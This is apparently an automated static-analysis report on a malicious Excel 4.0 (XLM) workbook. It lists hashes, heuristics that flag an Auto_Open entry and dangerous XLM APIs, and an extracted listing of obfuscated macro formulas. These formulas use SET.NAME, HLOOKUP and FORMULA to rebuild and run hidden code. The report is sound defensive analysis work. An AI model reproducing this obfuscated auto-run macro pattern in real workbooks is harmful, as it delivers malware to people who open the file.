Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58a11203f7d5d675…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:25:12 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 36bb7955334fd985d4844b5f1777f0e7 SHA-1: 50778df21b204d6a1c500af645a05d274efd2b2f SHA-256: 58a11203f7d5d675071f5cbd344863ecf7bfb76239d8008a72b7f8f39893d023
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6496 bytes
SHA-256: 87b55029525d8cc0c74931dd44a3897da1ba7fa32533ba8e7d4b803071628edf
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OxjeYDo
' 0018     26 LABEL : Cell Value, String Constant - AloDccoTZqJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E148 
' 0018     25 LABEL : Cell Value, String Constant - BcFpqgLpSR len=0 
' 0018     20 LABEL : Cell Value, String Constant - bfjnx len=0 
' 0018     24 LABEL : Cell Value, String Constant - CcaFFRuWO len=0 
' 0018     25 LABEL : Cell Value, String Constant - CTudGNZjxy len=0 
' 0018     26 LABEL : Cell Value, String Constant - cUeNKRqagyH len=0 
' 0018     21 LABEL : Cell Value, String Constant - DdNvnC len=0 
' 0018     25 LABEL : Cell Value, String Constant - GJbYeXDkLx len=0 
' 0018     22 LABEL : Cell Value, String Constant - hpcshlH len=0 
' 0018     24 LABEL : Cell Value, String Constant - JnZwNFQwi len=0 
' 0018     22 LABEL : Cell Value, String Constant - jVJzWau len=0 
' 0018     20 LABEL : Cell Value, String Constant - LApXE len=0 
' 0018     25 LABEL : Cell Value, String Constant - lDEkYddyAD len=0 
' 0018     26 LABEL : Cell Value, String Constant - LlRiskCdBKT len=0 
' 0018     21 LABEL : Cell Value, String Constant - pZrZIw len=0 
' 0018     23 LABEL : Cell Value, String Constant - QqWBVsRs len=0 
' 0018     26 LABEL : Cell Value, String Constant - sKxlpIqEkvC len=0 
' 0018     22 LABEL : Cell Value, String Constant - tYkYEjs len=0 
' 0018     24 LABEL : Cell Value, String Constant - vcinSqLyq len=0 
' 0018     20 LABEL : Cell Value, String Constant - xCPyQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OxjeYDo,E54,"SET.NAME("sKxlpIqEkvC",VALUE("0"))",""
'  OxjeYDo,E59,"SET.NAME("xCPyQ",sKxlpIqEkvC)",""
'  OxjeYDo,E63,"SET.NAME("CcaFFRuWO",sKxlpIqEkvC)",""
'  OxjeYDo,E68,"SET.NAME("hpcshlH",COUNTA(cUeNKRqagyH))",""
'  OxjeYDo,E71,"SET.NAME("AloDccoTZqJ",COUNTA(tYkYEjs))",""
'  OxjeYDo,E73,[],""
'  OxjeYDo,E75,"SET.NAME("lDEkYddyAD","")",""
'  OxjeYDo,E80,"xCPyQ",""
'  OxjeYDo,E83,"SET.NAME("BcFpqgLpSR",HLOOKUP("*",cUeNKRqagyH,xCPyQ,FALSE))",""
'  OxjeYDo,E87,"GJbYeXDkLx",""
'  OxjeYDo,E92,"SET.NAME("QqWBVsRs",sKxlpIqEkvC)",""
'  OxjeYDo,E94,[],""
'  OxjeYDo,E96,"QqWBVsRs",""
'  OxjeYDo,E98,"vcinSqLyq",""
'  OxjeYDo,E102,"CTudGNZjxy",""
'  OxjeYDo,E106,"JnZwNFQwi",""
'  OxjeYDo,E111,"SET.NAME("LApXE",VALUE(HLOOKUP("*",tYkYEjs,JnZwNFQwi,FALSE)))",""
'  OxjeYDo,E113,"pZrZIw",""
'  OxjeYDo,E117,"lDEkYddyAD",""
'  OxjeYDo,E121,"CcaFFRuWO",""
'  OxjeYDo,E123,NEXT(),""
'  OxjeYDo,E128,"jVJzWau",""
'  OxjeYDo,E133,"SET.NAME("f",INT(T(FORMULA(T(lDEkYddyAD)&"",""&T(jVJzWau)))))",""
'  OxjeYDo,E136,"bfjnx",""
'  OxjeYDo,E141,NEXT(),""
'  OxjeYDo,E144,RETURN(),""
'  OxjeYDo,E174,"SET.NAME("DdNvnC",E54)",""
'  OxjeYDo,E176,"cUeNKRqagyH",""
'  OxjeYDo,E178,"SET.NAME("tYkYEjs",R82C15)",""
'  OxjeYDo,E180,"SET.NAME("bfjnx",189)",""
'  OxjeYDo,E183,"SET.NAME("LlRiskCdBKT",5)",""
'  OxjeYDo,E188,DdNvnC(),""
'  OxjeYDo,E189,HALT(),""

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